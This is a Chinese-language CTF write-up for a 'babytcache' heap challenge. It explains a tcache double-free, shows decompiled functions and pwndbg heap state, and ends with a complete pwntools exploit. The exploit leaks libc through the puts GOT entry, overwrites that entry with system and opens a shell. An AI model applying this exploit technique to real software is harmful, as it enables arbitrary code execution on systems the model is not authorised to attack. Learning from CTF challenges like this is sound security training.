题目链接 这道题需要了解一些tcache的知识,CTF-Wiki上有详细的介绍,简单来说就是tcache_put() 的不严谨 static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
因为没有任何检查,所以我们可以对同一个 chunk 多次 free,造成 cycliced list,这里其实就有点像Double Free的感觉,只是Double Free不能连续free而这里可以,运行了解一下程序,是一个常见的管理系统 root@Thunder_J-virtual-machine:~/桌面# ./babytcache
NoteBook v0.1
1.add a note
2.delete a note
3.show a note
4.exit
>
IDA分别分析一下每个函数的内容 add_note这里将创建的地址都放在了ptr[]的地方,也就是0x6020E0处 int add_a_note()
{
int v1; // ebx
if ( dword_6020C0 > 9 )
return puts("Full!");
printf("content:");
v1 = dword_6020C0;
ptr[v1] = (char *)malloc(0x50uLL);
sub_4008A6((__int64)ptr[dword_6020C0], 0x50u);
++dword_6020C0;
return puts("Done.");
}
delete_note void delete_note()
{
int v0; // [rsp+Ch] [rbp-4h]
printf("index:");
v0 = sub_400920();
if ( v0 < dword_6020C0 )
free(ptr[v0]);
else
puts("out of range!");
}
show_note int show_a_note()
{
int result; // eax
int v1; // [rsp+Ch] [rbp-4h]
printf("index:");
v1 = sub_400920();
if ( v1 < dword_6020C0 )
result = puts(ptr[v1]);
else
result = puts("out of range!");
return result;
}
我们首先创建一个note,然后释放三次 pwndbg> heap
0x603000 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 593,
fd = 0x300000000,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603250 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 97,
fd = 0x603260,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6032b0 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 134481,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> bin
tcachebins
0x60 [ 3]: 0x603260 ◂— 0x603260 /* '`2`' */ #free three times
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
Empty
这道题并没有给system函数和’/bin/sh’,所以我们需要泄露出system函数的地址,然后想办法改got表。 我们将0x6020e0位置的指针改为puts函数的got表指针,然后就可以泄露puts函数的在libc的地址,计算出system函数的地址,然后用同样的方法将puts的got表覆盖为system函数的地址,最后调用puts()实现getshell,偏移的计算是在接受到puts函数地址的时候,用vmmap打印出libc地址,然后相减就行了 from pwn import *
r = process('./babytcache')
symbol = ELF('./babytcache')
if args.G:
gdb.attach(r)
def add_note(content):
r.recvuntil('>')
r.sendline('1')
r.recvuntil('content:')
r.sendline(content)
def delete_note(index):
r.recvuntil('>')
r.sendline('2')
r.recvuntil('index:')
r.sendline('%d'%index)
def show_note(index):
r.recvuntil('>')
r.sendline('3')
r.recvuntil('index:')
r.sendline('%d'%index)
add_note('aaaaaaaa')
delete_note(0)
delete_note(0)
delete_note(0)
add_note(p64(0x6020e0+0x8))
add_note('bbbb')
add_note(p64(symbol.got['puts']))
show_note(1)
puts_addr = (u64(r.recv(6)+ '\x00\x00')) #receive 'puts'
print hex(puts_addr)
padding1 = 0x809c0
padding2 = 0x4f440
libc_addr = puts_addr - padding1
system_addr = libc_addr + padding2
print hex(libc_addr)
print hex(system_addr)
r.sendline('2')
r.recvuntil('index:')
r.sendline('0')
delete_note(0)
delete_note(0)
add_note(p64(symbol.got['puts']))
add_note('/bin/sh')
add_note(p64(system_addr))
r.sendline('3')
r.sendline('0')
delete_note(0)
r.interactive()
|